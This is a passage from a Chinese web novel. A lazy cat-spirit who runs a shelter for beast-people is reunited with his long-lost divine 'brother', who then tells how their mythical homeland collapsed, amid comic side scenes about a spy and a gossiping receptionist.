熊铁锤老师傅似的背着手,溜溜达达的就过来了,“干哈呢这是?” 看见前辈,小灰眼中一下子就亮出了期翼的光,“铁锤,铁锤,外面那些人会干什么啊?会不会很可怕啊?” 皮皮目不斜视,耳朵疯狂抖动。 “啧。”工龄已长的熊铁锤摸着下巴,咂摸嘴儿,“人类确实是很可怕的生物。” 小灰:“!” 皮皮:“。” 熊铁锤:“我明明就是个卖烤串的,非得摸我耳朵!我说我不是干这种事情的兽吧,那几个小姑娘还非得泪汪汪的看着我。搞得我只能把自己的耳朵凑过去给她摸。” “害,我是真的烦。这严重影响了我的烤串速度啊!” 皮皮、小灰:“…………” 好清奇的画风。 熊铁锤这一出,直接把两个崽崽的害怕给冲淡了。等苏尔来通知,说人已经筛好,该开始营业时,俩崽心如止水的走了出去。 还能怎么的? 三个被放进来的小女生,看见皮皮和小灰走过来,激动的抱在一团。 “啊啊啊,好可爱!!” “好萌!” “有!大!尾!巴!” 小灰羞涩的把尾巴往下垂,有点不好意思。但感觉人类好像没有想象中那么吓人。 他悄悄的打量那三个姐姐,觉得对方还挺漂亮的。 三个女生虽然很激动,但全程都很克制,就连惊呼都压着声音生怕把崽崽给吓着了。等着两个崽崽走进了,才温柔的矮下身子,友好一笑,“崽崽你好呀!” 本来还很警惕的皮皮和小灰,在对方释放的友好信号中逐渐卸下心房,还和对方交换了姓名。 聊了二十多分钟后,小灰试探性的把自己的尾巴放到了其中一人手上。又掀起一阵压抑的幸福尖叫。 舒泽躲在角落里默默观察,苏尔站过来,语气发冲,讥讽无比,“这就是你想要的?” “让他们和人类多接触,让他们知道人类也不都是坏的。” “但是这又有什么用?”苏尔眼神冰凉,“外面的大环境到底是怎么样你难道不知道吗?你教他们这个观念,难道不是在害他们吗?” 这世上,可还是坏人多。 眼见情况平稳,舒泽倒回躺椅,伸出一根手指摇头,“你错了。” “哈。”苏尔浑身竖起尖刺,“那你说,我哪点说错了?” 舒泽瞥他一眼,理所应当,“我只是想让他们给我挣钱。” 干什么要改变他们对人类的观点。 苏尔:“…………” “你是说,你精挑细选了几个温柔没偏见的女孩子,还设定了个不限制见面时间,就是为了赚钱???” “骗傻子呢?” 舒泽:“啊哈~” 苏尔:“……” 总觉得对方回答的是最后一句话。 —— 浑身低气压的傅宴川出现在菜市场里。这段时间,他都住在这边的一家小杂院里,连着去了那边山上好几次,都无功而返。 多方势力找寻无果后,已经开始造谣,说他不幸遇难。一边是想逼他出来,一边是想推新的人取代他的位置。 事态紧急,但他却找不到自家弟弟一点消息。 热闹欢腾的声音飘来,傅宴川下意识往反方向走。但周围的议论却不受控制的传进耳朵里。 “也是真够奇怪的,不知道最近哪冒出那么多兽出来。” “又是烧烤,又是按摩,听说今天还来了两个人形幼崽,五百星币就能近距离聊天。” “嘿,还真是够猎奇的啊。” “也真是不怕啊?让异兽来干这些事,我想想都害怕,还花钱去,大家都疯了吧?” “什么疯不疯的?你是不知道那有多赚钱!没有过的东西,大家都好奇。据我观察,背后管理这些兽的人肯定赚疯了!” 赚钱的事情,是能不眼红? 吐槽的人一时都没了动静。 傅宴川皱起眉头,大为不适。这种虐待兽,用兽敛财的行为,居然还在扩大吗? 把猴子送进剧院,难道也是这个人干的? 络绎不绝的人朝着那边涌去,人声鼎沸。傅宴川脚步一顿,终于调转方向,眼中寒芒尽露。 他不能放任这个人继续对异兽一族为非作歹。 第30章 哥哥,我养你啊 “小灰,我下次还可以来找你玩儿吗?” 小灰羞涩的点点头,但看起来也不勉强,脸蛋红扑扑的,“嗯……” 虽然他不喜欢人类,但是这两个小姐姐看起来和那些人一点都不一样,所以要单独划分为一类。 得到认同后,三个女孩子又是一阵压抑的尖叫,在苏尔的催促下,挥挥手恋恋不舍的走了。 舒泽农民揣路过,若无其事的扫过皮皮高速旋转的耳朵,满意笑了,“把下一批放进来吧。” 他指使起苏尔来十分顺手,“咪咪你在这里看着,我回去睡觉了。” 苏尔虽然打不过他,但对付普通人类那还是够的。剩下的兽兽们,抑制器都是个摆设,自保能力足够。 苏尔黑着脸看舒泽打着哈欠离开,只能在心里疯狂吐槽,咪了个咪,你才是咪咪,你全家都是咪咪。 舒泽前脚刚走,被rua得游离天际的皮皮缓过神来。戳戳苏尔的腿儿,仰着小脸,把手册递上去,“咪咪,你把这个给院长带回去。” 手册是很重要的东西,不可以乱放的。但是他被苏尔掳得太突然,不小心一起带过来了。 苏尔:“你才咪咪!你是只小咪咪!” 他气哄哄的把皮皮提起来一通喷,心不甘情不愿的出去追舒泽去了。皮皮淡定的擦了一把脸,转头对小灰说,“咪咪脾气不好,少和他接触。” 乖巧小灰:“好的,我会小心咪咪的。” * 傅宴川随着人流到了店铺前,但围着的人实在太多,他默默压低帽檐,悄无声息的朝后绕去。 正当他逐步靠近时,一大爷提着篮子路过,默不作声的往他身上倒。傅宴川的反应极快,侧身让开。但不曾想,正巧遂了大爷的心愿,他顺势往地上一倒,叫苦连天,“哎呦喂!” “我的老骨头啊!我这老骨头都要散架咯!” 他拍着大腿儿止不住的哀嚎,眼神一狠,伸手去指傅宴川,“就你!你把我撞倒了,还不想负责啊?你这人怎么这样,年纪轻轻的没点担当!” 分明就是自己撞上去的,但老头说起来没有半点心虚。他也是碰瓷的老手了,早就瞅上了傅宴川老实巴交,沉默寡言的样子。 菜市场人又多,到时候全部一围上来,他只管仗着自己的老年人身份泼脏水就是了。 对方不说话,周围围观的人也聚了上来,眼见事情如自己预料般发展,老头露出了得意的笑。 傅宴川眼神一冷,眉宇间皆是厌恶。 这种人,实在叫人厌烦。连日的情绪在此刻酝酿…… “哥?” 傅宴川心跳漏了一拍,手上提着的菜猛然脱落。 “啪嗒—” 几颗小白菜散落在地。 傅宴川猛的朝右边看去—— 舒泽正准备摆烂回家睡觉,才走没几步,就见一堆人围着看热闹。本来他也没有那么重的好奇心,偏生闻到了一点,特别像他哥的味道。 很淡,很浅。 但这足以让舒泽瞬间兴奋,他挤进去看,一男子带着帽子口罩,穿着灰扑扑的衣服,提着几颗青菜,孤零零的站在中间。地上还有个老爷子,不停地指着鼻子骂。 孤单又可怜。 和昔日的号令群兽,山海境的主人宴川帝君,气质上千差地别。但舒泽还是一眼就认出来了,这是他哥。 “哥?” 他从人群中挤过去,在傅宴川惊喜震惊难以置信,多种情感复合目光中,pia叽一下拍上了他脸。 用着假脸的傅宴川:“?” 这是……在确认是不是他本人? 舒泽心疼的搓来搓去,大为悲伤。他哥瘦了,真的瘦了。 虽然用了假脸,但是味道是骗不了人的。而且这个身形,他一眼就认出来了,这就是他哥。但这就是他哥这件事,真的是太让人意外了! 舒泽目光颤抖的扫过傅宴川专门准备的,灰扑扑的工装,沾满泥土的鞋子,还有地上寒酸的小白菜。 穷,太穷了。 傅宴川沉浸在找寻多日无果,但下一秒人就自己出现在面前的恍惚喜悦中,“你……” “哥!”舒泽一把捏住傅宴川的手,眼神坚毅,“你不要担心,以后我来养你。” 被打断的傅宴川:“……?” 地上坐半天的老头无语打断,“喂!你们眼里还有没有我这个人啊?” “找着亲人也好,好歹我讨债又多了一个人选。” 差点还忘了这个人。 傅宴川眼下虽然有很多话想要和舒泽将,但围观的人越来越多。他把舒泽往身后一藏,心平气和,“你到底想怎么样?” 某种意义上来说,这人说也促进了他和弟弟的团聚,要不是他,说不定今天又错过了。他现在心情好,不想和他过多纠缠。 说是迟,那是快。 本来在傅宴川身后的舒泽,跨步上前把哥哥挡在身后,虽然矮了半个脑袋,但放出的话却很霸气,“当着我的面,欺负我哥?” 被护在身后的傅宴川:“……” 被弟弟护在身后,心情有点微妙,但莫名有点爽是怎么回事? 看见舒泽的小身板,老爷子差点笑场,“什么欺负不欺负的,小娃儿,是你哥哥欺负我这个老人家!” “你不能一上来就颠倒黑白,胡说八道吧?” 正在此时,满脸疑惑的苏尔挤进来,“你在这里干什么……” 他拿着手册追出来,到门口了都没瞅见人。就舒泽那懒散样子没道理走那么快,抱着怀疑的态度往回走,搜寻舒泽是不是在哪里蹲着睡了。 结果瞅见人堆堆里的舒泽,“我就说怎么找不着你人。” 苏尔的口罩没有带好,拉在下巴处。他一露面,傅宴川就警觉的眯起了眼睛。 这个人,很眼熟。 舒泽站在前面和那人对峙,没有注意到他哥的表情变化,抬着下巴,冷艳高贵,“咪咪,把这个处理一下。” 苏尔:“……” “%#¥&@*@!!” 不是,这人有病吧?! 兽是那么指使的吗?而且他还是个通缉犯!通缉犯懂吗!是你这么用的吗? 老头子不认识舒泽,却知道苏尔是从异兽烧烤摊那边过来的。老实人他还能碰瓷一下,但要是惹到有后台的就倒霉了。 也不要赔偿了,啥也不敢多说,趁没人在意,从地上爬起来一溜烟的跑了。 舒泽看见了,但是没空搭理,现在哥哥比较重要。 他拉着傅宴川从人群中钻出去,不明所以的苏尔紧急跟上,“诶!你去哪儿啊!” …… 无人小巷 傅宴川的视线就没有一刻弟弟身上移开。 小小一只,没什么太大的变化,只是头发变长了很多。 他想问,舒泽这段时间都在哪里,还想知道他这段时间都遇到了什么事情,知不知道是谁把他偷偷带走的。 想知道,自己不在他身边,他怕不怕,累不累,有没有人欺负他…… 千年光阴横跨其中,沧海桑田,人间巨变。 太多太多问题堵在心口,傅宴川深深凝望着舒泽,喉结攒动,竟不知道从何说起。 舒泽同时也在打量他哥,“哥,我找你找得好辛苦。” 傅宴川心神俱震,“我……” “你现在怎么混得那么差?” 舒泽皱着眉头,一副想不通的样子。他记得在自己睡觉之前,他哥都能混成人类社会的大学老师。怎么现在只能卖苦力,艰难生活。 这也没什么变化啊。 唯一的就是—— “所以你当初学习好,是借用了法力对吧?” 不然怎么解释,他现在混得那么差。 傅宴川:“……?” 这是什么奇怪的走向? “我——” 舒泽将傅宴川的震惊纳入眼底,拍了拍他的肩膀,“算了,过去的事情就让他过去吧。” 他是一个好弟弟,是不会去反复戳他哥的伤疤的。他都不敢想,这几千年他哥哥过的都是什么苦日子。连肉都买不起,只能吃白菜叶子…… 舒泽甩过去懂的都懂,不必多言的眼神,“没关系,现在我俩汇合,我可以养你了。” 他含蓄而内敛,“你可以勇敢做自己。” 在舒泽的设想中,他哥没有法力过了那么多年,肯定因为这张脸受到了不少的骚扰,这才不得已把自己的真实面容藏起来。 自圆其想,逻辑严密,严丝合缝。 傅宴川:“…………” 这都什么和什么。 他真的想掰开他弟的脑子看看里面都是些什么奇怪的东西。 “不——” “喂!我说你没事跑什么啊跑?” 傅宴川卡在喉咙的话,再次被无情打断。 苏尔骂骂咧咧的追上来,不敢再有片刻耽误,把烫手山芋往舒泽手里一拍,“你自己收好。” 他在保育院蹲了那么久的点,当然知道这玩意儿有多重要,要真出了什么事,他怕是要被院里的兽群殴。 他抱臂翻白眼,周围没有其他人,帽子也直接取了下来。 傅宴川看清楚了他的脸,电光火石见间,终于想起这张脸在哪里见过——A级通缉兽,苏尔。 他和舒泽说话的模样,无比熟稔。他们之间到底是什么关系?他隐藏在舒泽身边又到底是受谁的指使? 傅宴川面上不显,心中千回百转。 直到舒泽举起手册在他面前晃了晃,“哥?” 苏尔悄莫偷瞄,这奇怪的人类居然还有个哥哥。 傅宴川把心中疑惑尽数压下,温柔回话,“怎么了?” 苏尔偷偷瘪嘴,声音挺好听的,就是长得有那么点平平无奇,颜值高度上来讲,也不像兄弟啊。 他正在事不关己,淡定吃瓜,就被舒泽一把扯了过去。 舒泽眨巴着真诚的大眼睛,“这是我养的兽。” 苏尔差点跳起来。 整个星际成年人形兽就那么几个,舒泽开口就是王炸,是完全没管他这个通缉犯的死活啊! “你——!” 舒泽眼神轻飘飘的扫过去,很轻,但苏尔明确自己从中读到了浓重的杀气。 舒泽死亡微笑,在他哥面前不配合,你是想死吗? “……” 苏尔屈辱的对着傅宴川伸出手,笑容绝望,声音麻木,“你好,叫我咪咪就可以了。” 打起十二分警惕的傅宴川:“…………” 舒泽满意的把苏尔往旁边一推,献宝似的把手册送到傅宴川眼前,掩藏不住的骄傲,“这上面都是我养的崽儿~” “我养的崽可以养我,我就可以养哥哥了~” 一通绕口令,傅宴川凭借着对自己弟弟的了解,奇迹般听懂了。 疑惑中又联想到了舒泽出现的地点还有刚刚听见的谣言,福至心灵,“外面说那些打工的兽,都是,你养的?” 他实在没找到合适的形容词,最后也用了“养”字。 舒泽:“啊哈~” 傅宴川:“…………” 谣言,果然是谣言。 那些人说什么有人利用兽赚钱,分明就是谣言。舒泽不可能是那种为了钱虐待兽兽的人。 自己亲手养大的孩子,他无条件信任。眼下还有外人在这里,不是说这些事情的时候。 傅宴川深深的看了眼自闭的苏尔。 找到哥哥了,舒泽高兴得很,兴冲冲的,“哥哥,我带你回家,回家我们再慢慢说。” 舒泽十分体贴,直接邀请傅宴川和他回家,半点没问傅宴川现在住在哪里,他必须守护他哥哥的自尊心。 傅宴川没有半分抵抗,自然而然的跟着舒泽走了,直到站在保育院的大门外,止不住的恍惚。 “这段时间,你就呆在这里?” 舒泽:“啊哈~” 他像面对家人,开心分享自己的成果的小孩儿,“我现在是他们的院长,手下管着好多兽的。” 傅宴川心情复杂。 所以,自己要找的人,远在天边近在眼前,甚至,还就在自己的管辖范围内。 幸好,他前段时间托人送了一批物资过来,不然他不敢想象,舒泽带着那么一大院子的兽该怎么过日子。 所以,舒泽送他们去上班,其实是,为了挣生活费的无奈之举。傅宴川一下子就把其中关窍连了起来,心疼的望着滔滔不绝讲着保育院那些事情的舒泽。 原本只是一只在自己庇护下快乐成长的小猫,在他不知道的地方已经学着他的样子,给其它的兽兽们撑起了一片天。 傅宴川的心泛起密密匝匝的疼意。甚至没有胆子去问舒泽,这段时间他到底吃了多少苦,他害怕自己承受不住。 如果把他的想法,告诉整个保育院唯一一个有脑子的皮皮。应该会得到他无语到翻上天的白眼。 到底是谁照顾谁啊?到底是谁撑起谁? 外头那些兽兽被卖了,还要帮院长数钱呢!《 》 30-40 第31章 过去的真相 “哥?”舒泽凑到傅宴川面前,“你怎么突然不说话了?” 傅宴川摇摇头,帮舒泽把过长的头发撩到一旁,笑得温柔,眼底又藏着心疼,“没事。” 但凡有一个傅宴川的下属在这里,看见他对舒泽说话的态度,都要怀疑上司是不是被人夺舍了。 这还是那个冷脸处长吗?!这还是那个,我只看效率和结果的邪恶上司么??怎么可以温柔成这个样子! “我现在有点事,暂时需要伪装,这张脸……” “不必多说,我懂的。”舒泽拍拍他的肩膀,表情沉重。 他哥这段时间到底都经历了什么啊?甚至都到了欠钱躲债需要换脸的地步了。 “以后,有我在,你不用在过这样的日子了。” 只是事情尚未完结,害怕被人认出来,给舒泽和保育院带来麻烦的傅宴川:“……” 他弟弟又明白什么了? “走吧走吧,进去了。” 一直在高空中守望,确定舒泽已经沟通完毕,是真的要进门了的小萤,急速飞过,“院长回来了!院长回来了!” 里面正在劳作的兽兽们纷纷停下自己手上的工作,钱来迎接。有自保能力的兽兽都被舒泽送出去上班了,家里剩下的大多是不会说话,胆子小,没啥异能的兽兽。 舒泽也不会使唤它们干事,它们只是为了表达欢喜,凑个热闹。 嗷呜叽叽的都涌了过来。 大大小小,毛茸茸的,啪嗒啪嗒的往前冲。陆地上的和天上的比水里的占优势,但也不甘示弱的往前冲。 傅宴川在看见那些兽兽时,眉眼温和。 好久、好久没有见过的场面。就好像回到了山海境的时候……尤其是,失而复得的弟弟。 在他看见不见的地方,学着他的样子,照顾起了兽。 “对了,保育院的大门呢?” “我记得,这里应该有个门才对吧。” “哦,原来是有的。”舒泽轻描淡写,“就是刚来的时候,咪咪不听话,把门压烂了。” “后面我又让其它兽兽把那个坑给填了。” 不听什么话?还能把门给压烂。 傅宴川思酌了两秒,毫不犹疑的相信了舒泽的解释。毕竟是个不服管教,做坏事的兽,干出什么奇怪的事情也正常。 思及此,傅宴川心脏又是一酸。他不敢想象,弟弟那么小一只,把这些兽全都驯服,付出了多少努力和心血。 他握住了舒泽的手,一双眼眸如千年前明亮,“哥哥来了。” 时光呼啸着后退,再次撩拨不曾挑明的心动,岁月洗刷之下,有万般变数,也有愈久弥香。 像是有一根羽毛轻轻擦过舒泽的心尖,脑袋空空的,只记得吃和睡得小猫咪,永远会为温暖的窝而心动。 “好哦。” 一手提着一个崽回来的苏尔,躲在草丛后面,陷入无尽沉思。 左手边灰崽:“他们牵手了诶。” 右手边熊崽:“这人是谁啊?院长为什么要带他回院里?” 拥有独立行走能力和缜密的思考能力皮崽:“要么朋友,要么亲人。看起来更像亲人,但好像又有哪点不一样,我说不出来。” 皮皮绞尽脑汁,奈何崽崽还小,不知道这种微妙的氛围到底代表什么。 “不对劲啊……” 小幼崽不明白,但没吃过猪肉但见过猪跑的苏尔明白啊。 “不对劲啊!” 他猛锤大腿,感觉自己的职业生涯受到了前所未有的巨大挑战。 就那一对上眼都快要拉丝儿的氛围,你管这个叫兄弟?? 什么哥哥,情哥哥还差不多! 那他老板那边怎么办?白月光虐恋情深那么多年,为了他付出了那么多,要什么给什么,甚至还派人在暗中偷偷观察,偷偷记录。 诶,对哦。 他是那个盯梢的! 苏尔又猛的一锤大腿,差点忘了自己的本职工作! 他回过神来,发现三双水汪汪的大眼睛都盯着他。懵懂好奇的光芒在闪烁,对知识说的渴望谢在脸上。 “……大人的事情,小孩子不要多问。” 他现在有事得去一趟老板办公室了。 * “这段时间,你就住在这里?” 傅宴川看着眼前摇摇欲坠的板房,眼中的心疼如有实质。 他想到舒泽会过得很累,很苦,但是他没有想到条件会艰苦成这样。 周围的田地也不过是刚刚才开垦出来的,在这之前,舒泽带着那么多兽兽生活,该怎么生活?这生活的重担,他甚至不敢细想。 傅宴川还在心疼舒泽,舒泽同时也在心疼他哥。 没想到,就是那么简单的一个平房,都能引起他的哥的羡慕。那他住的地方到底得有多差啊。 舒泽不欲多说,不想用自己的安逸去戳破他哥生活的不易,于是简短的“嗯”了声,淡定的揭过,“也就那样吧,就是下雨的时候可能会漏水。” 所以别看我已是一院之长,但其实我过得也不是很好,你不必为此觉得我们之间有横跨不去的鸿沟。 面对我的优秀,你大可不必自卑。 舒泽挺直了背。 他的故作坚强,让傅宴川心更疼了,“小泽……” 都是他的错。 如果不是他把人弄丢的话,他怎么可能会吃那么多的苦。舒泽明明应该躺在舒适宽大的猫窝,吹着室内恒定的拟风,晒着最舒适的太阳,再享受他的翻面按摩服务。 而不是在这里拖家带口荒野求生。 傅宴川快被自责淹没,进去后一言不发的开始整理床铺。躲在外面查看情况的兽兽们:“?” 好像来了一个抢活儿的人。 舒泽默默的站在门边,看着他哥收拾的样子,也没觉得哪里不对。以前都是他哥帮忙收拾的,现在回到了从前好像也没什么好奇怪的啊。 说是那么说,舒泽的眼睛却从不曾他哥身上移开分毫。默默看了一会儿,就像个小尾巴似的坠了上去,傅宴川走到哪里,他就跟在哪里。 也不吭声,就默默跟着。 于他而言,中间的千年时光不过是睡了一觉。但独自在陌生的街头醒来,直到今天,积攒的思念,丝丝缕缕的缠绕,他已经不想再离开哥哥一点。 傅宴川也很喜欢这个感觉,回头就能看见舒泽在自己身侧,千年间的孤寂都在此刻消散。 到底是谁偷偷把他带走的,还是舒泽自己走的,答案在此刻好像都变得不重要了,他喜欢此刻的静谧时光。 淡淡的温馨,在此刻蔓延。 门缝边冒出三对毛茸茸,再一点一点的,冒出三双眼睛。 熊铁锤看着屋内,“我们进不进去啊?” 小灰动动耳朵,有点苦恼,“感觉我们好像不是很适合进去。” 说不出来什么原因,但他们现在好像是不太适合进去打扰。 皮皮:“我觉得我们不应该在门边,我们应该在屋外。” 氛围太好,插不进去。 熊铁锤第一个受不了,“哎呀,也没什么好纠结的,我去煮饭了。” 这个世界,兽很奇怪,人也很奇怪,只有他的铁勺宝贝不奇怪。能炒菜能打汤,他选择和铁锅锁死。 小灰看了会儿屋内,又看了会儿离开的熊铁锤,最后扫扫尾巴,蹬蹬瞪的追上好朋崽,“铁锤等等我,我和你一起走。” 唯有皮皮,看着屋内的两个人,不知道小脑袋瓜在转什么,耳朵甩出了残影。 这个人的出现,会改变他们平静的生活吗…… * “好了,收拾得差不多了。” 傅宴川左右看看,最后只能无奈站在房子中间,“等下我去砍两棵树坐两根板凳吧。” 家徒四壁,已经不足以形容整个居住环境了。 现在傅宴川说什么,舒泽都只有点头的份,“嗯嗯。” “再去买几床被子吧,和你一起睡的是三只人形幼崽吗?” 傅宴川扫一眼屋里的床铺数量就猜得出来住在这里的人员结构。自家柔弱的弟弟,和三只孱弱的幼崽,只盖这点被子还是太少了点。 “嗯嗯。”舒泽重重点头,“我去买。” 他着重强调了一下,“我有钱。” “嗯嗯。”傅宴川已经开始在脑海中构建板房的改造计划,对舒泽的着重强调理解为求表扬,随手摸了摸他的头,以资鼓励。 这一摸就摸出不对劲了。傅宴川捏起一撮舒泽的头发,皱眉,“好长。” 舒泽:“莫?” 傅宴川拉着舒泽走到外面,在兽兽们好奇的注视下准备给他修剪头发。 此时的苏尔已经赶到了盾混集团,急匆匆往里面赶。但却被前台小姐姐给拦下了,“诶,这位先生!请问你找谁?” 苏尔压着帽檐,不耐烦的说出特助的名字,“赶紧让他下来接我。” 他每次来这边找易总都比较隐秘,因为身份的特殊性,也一直是让特助下来接他。不然他的身份走正常访客程序,暴露面太广,速度也太慢了。 但前台小姐姐为难的说道:“特助出外勤,前脚刚离开公司。” “您要找他的话,就只能请您在下面先等一会儿了。” 苏尔要炸毛了,“我不找你们特助,我找你们大老板,你快去帮我通知一声,就说楼下有个苏先生,有很重要的事情要汇报。” 前台小姐姐更为难了,“易总正在开一个很重要的跨星际会议,现在也没办法通传,您还是得在下面等一会儿。” 还等? 苏尔一个着急把实话说出来了,“墙角都快被挖烂了,还等什么?” 前台小姐姐的眼中闪过一丝微妙。但独自烦恼的苏尔没有注意到,现在见不到人,他也只好先回去盯梢,“反正,你等下让他记得看通讯消息,我先走了。” 苏尔掉头就走,前台小姐姐却出声制止,“等等——” 小姑娘脸上闪烁着精明的光,“您是为那位来的吧?” “祁先生?” 苏尔听过这个假名字,诧异的点点头,“你怎么知道?” 果然! 果然—— 小姐姐的脸色凝重,拉响警报,一级戒备,“您就在这里等我,我马上就上去通报!” 前台小姐姐踩着高跟鞋转身,每一步都走得铿锵有力,那头也不回的背影,带着壮士一去兮不复还的悲壮。 她就知道!她!就!知!道! 比白月光还要重要的是什么?! 那就是失而复得的白月光! 老板果然派了人潜藏在祁先生身边。而且,居然!有人!想要撬他老板的墙角! 这个该死的第三者,知道老板和白月光之间发生了什么么?知道她老板为此做出了什么样的让步么! 一个霸总,一个高冷霸总,居然为!爱!做!零! 老板已经做到这个份上了,她决不允许有人介入! 妹子走得决绝,苏尔留在原地摸不着头脑。 …… 被前台打断的易大总裁,一看手机,噌——的一下,失态的从座位上站起来,脸上风云突变。 一众下属,你看看我,我看看你,坐立难安。 这到底是出了什么样的惊天大事,居然让易总露出这样的表情? 易威登看着苏尔添油加醋的简讯,面色铁青。虽然加了很多他不理解的形容词,但还是不难从中捕捉到舒泽的真实反应。 而能让舒泽有那么大情绪波动,一次性说那么多话,最最最重要的是,喊他哥的人。 只会是那该死的傅宴川。 那么多势力都找不到的人,居然就那么有缘分的和舒泽撞上了吗? 这运气,还真是让他无话可说呢。 “会议暂停,你们把自己手头上的问题整理成报告交上来。”交代完后,易大总裁头也不回的离开。 留下会议室里的众人一头雾水。 还有快磕死过去的前台小姐姐。 * “哇~” 小灰磨磨蹭蹭的,已经重新挪到了舒泽旁边,蹲在脚边仰着脑袋,对着把眉眼完整露出来的舒泽发出惊叹。 “院长,你现在看起来,好……好……”词汇量有限的小崽崽,尾巴一甩一甩,怎么都想不到合适的形容词。 “好精神。” 皮皮默默的帮他补充。 小灰眼睛一亮,“对!” “就是好有精神!” 一点都不像院长原来丧丧的样子~ 舒泽没了遮盖的头发,被迫撑开眼睛,短时间还有些无所适从。捂着自己的脑袋去看傅宴川,“哥……” 傅宴川忍俊不禁,“好看的。” 于是舒泽老实把手放下来,并不死心的使劲扒拉着头发往中间挡。傅宴川没在意自己精心修剪的头发又被舒泽搞得一团糟。 转头去和小灰皮皮友好交流,“你们好。” 他矮下身子,温声交谈。虽然傅宴川用的不是自己的脸,但那声音和养大舒泽的耐心,俘获两只小幼崽还是很简单的。 小灰害羞的把尾巴卷成棒棒糖,“你好。” “你是院长的哥哥么?” 傅宴川神色一暖,在小灰的身上看见了很多影子。有舒泽刚化形,高高举着尾巴,到处巡视领地的模样。还有那些,曾经亲手养大,最后又消失在天地间的兽兽们。 是熟悉的味道,也是他当了监察处处长后,刻意避嫌,无法触摸的味道。 他摸了摸小灰的头,熟练的手法直接给小灰摸得眯起了眼,“是啊,我是他的哥哥。” “你是一只小灰狼吗?” 小灰的尾巴一下子伸直,又一下子卷缩,惊讶无比,“你认出来我是一只狼诶。” 从来没有人那么准确的认出他的兽形,院长哥哥好厉害! 傅宴川是最喜欢这种毛茸茸,又可爱的小兽,眼里的温柔快凝出实质。 舒泽摸着脑袋,漂亮的眼睛瞅着互动,眸光闪动。他哥哥是最喜欢兽的人,是最心软的神。 他对这一点,没有任何怀疑。 从未。 傅宴川对待兽兽,从不厚此薄彼(舒泽除外,那不是一般兽兽,那是自己的弟弟。),和小灰短暂的互动后,就看向皮皮。 但皮皮却警惕的往后退了一步,很明显的拒绝了傅宴川的友好互动。他冷淡的说道:“我叫皮皮,兽形卡皮巴拉。” 自报家门,干净利落,没有一丁点深入交流的欲望。 舒泽瞅了眼皮皮,有点奇怪,但没吭声。 傅宴川脸上的笑容也没变,每只兽兽都有自己的个性,有些兽就是没那么快建立起信任,他也没必要急于一时。 他从善如流,“好的,皮皮,初次见面,很高兴认识你。” 皮皮冷冷“嗯”了声,看向舒泽一板一眼,“大家快要下班回来了,我去做登记了。” 舒泽轻轻一点头,“去吧。” “小灰,你也去帮忙。” 他还有些事情要问他哥,小孩子去一边玩儿。 小灰被傅宴川摸了两下,脑袋晕乎乎的,像飘在云端。现在舒泽说什么,他就干什么,“好哦~” 但皮皮就不乐意了,瞪了一眼傅宴川,不高兴的走了。走出老远了,耳朵还在呼哧呼哧的高速运转,可见镇定的表象下是怎样的风起云涌。 舒泽把自己晒太阳的装备拿出来,自己坐上去后,拍拍旁边,傅宴川终于在这里有了容忍之处。 兽兽们都去忙自己的去了,站岗的小萤扇动翅膀,去看兽兽们干活。日渐西陲,厨房升起炊烟,眺望青山,绿意盎然。时不是有兽兽发出两声叫声,静谧但又有“生”的气息。 千年光阴,傅宴川久违的感受到了心安的味道。眉目舒展,官场上的波云诡谲,眼下的腥风血雨,尽数褪去。 他还是那个在山海境里,闲看花开花落,悠然撸猫的宴川帝君。 舒泽屈膝抱臂,歪头去看他哥,“那天地震,到底发生了什么?” 虽然二人之间有很多疑问都只有对方才能解答,但舒泽会先开口,是必然发生的事情。 因为在他们二者之间,先退让的总是傅宴川。 傅宴川有些意外的挑眉,“我还以为你不知道那天发生了地震呢。” 舒泽选择沉默。 那么大的动静,想不发现都难吧,他睡眠质量倒也没有好到这个地步哦。但知道归知道,懒得跑又是另外一回事,说起来也不是什么光彩的事情。 所以舒泽选择老实闭嘴,当一个合格的听众。 那日发生的事情还是太惨重了,傅宴川眼中的笑意只存在了一瞬,立马就消失干净了。 “小泽。” 傅宴川的声音有些落寞。 “你知道,何为天定吗?” 天地规律,有升有灭,有生有死。人来在万年的进化中,凭借着自身的传承和发展,成为了天道的宠儿,俨然一副星球的主人姿态。 “神明因为人类的信仰消失而陨落,而我因为是掌管山海境兽族的神明暂且没有影响。” “但天地间的气运是有限的。” 哪怕已经过去那么久,傅宴川依旧被深深的无力感席卷,“山海境在崩塌。” 舒泽瞳孔猛的紧缩。 一些往事在脑中浮现。 怪不得,怪不得他哥哥那段时间总是心事重重,神龙见首不见尾,总是一个人悄悄的前往秘境。 然后没过多久,就独自前往人类的地盘。 难道是—— “我想试试,有没有别的办法。” 傅宴川把舒泽心中的答案填补上了。 “我想看看,在人类世界能不能找到阻止山海境崩塌的方法。”傅宴川自嘲一笑,“但我还是太看得起自己了。” 就算是神明又如何,天地运数,不会改变。 一旦崩塌开始,剩下的不过是时间问题,傅宴川阻止不了那天的到来。 他也曾试图将兽兽们都带出去,分散藏匿在其它各处,虽然艰难,但好在能活下去。 他还有机会再建一个山海境…… 但好多兽都适应不了外界的空气,没有办法离开山海境。他只能一点,一点的慢慢尝试,最后也不过筛选出三层的兽兽。 舒泽的呼吸乱了,捏住他哥的手,又心疼又急切,害怕的问出那个问题,“那,大家呢……” “很多兽都没了吗?” 这是舒泽从未设想过的答案,他知道人类冲破蓝星进入星际时代,但他知道蓝星上还是有生命迹象的。 而且、而且,现在的异兽们,和曾经的兽兽们身上明明有一样的力量气息。他醒来没多久就遇到了混沌…… 他从未想过,从来没想过的…… 一滴泪从舒泽眼角滑落,傅宴川心疼的拭去,眼中是浓搭配化不开的悲伤,“是的,很多。” 很多兽兽都没了。 那日,崩坏来得猝不及防。计划还未成型,他用尽所有办法,耗尽全身法力,都没能阻止。只能将那些兽兽全都送走,天旋地转间,其实他已经记不得自己到底送走了谁。 送走的又到底是不是能在外界活下来的兽。 他只知道,目之所及,都是他要守护的兽兽。救一个,再救一个,哪怕他只能坐到这一步。 到了最后,他耗尽法力倒在地上,凭着一口气踉踉跄跄的走到舒泽洞穴外,挖出被石块儿掩埋的舒泽,用血肉之躯将他护在身下。 作为帝君,他已别无他法。但作为傅宴川,他要为舒泽争一线生机。 说来也是荒谬。 傅宴川从昏暗中醒来,山海镜已然崩塌,他被弹出到境外,法力全失。但终究是神明之躯,没有受到过多的伤害,连带着被他护在身下的舒泽也没有什么事。 但当他擦掉舒泽皮毛上的血迹,却发现,不管怎么叫,舒泽都没有醒过来。 这一睡,就是几千年。 “这些年,我有回去查过。但不管怎样,我都找不到山海境存在的踪迹,也没有见到过那些被我送出去兽兽。” 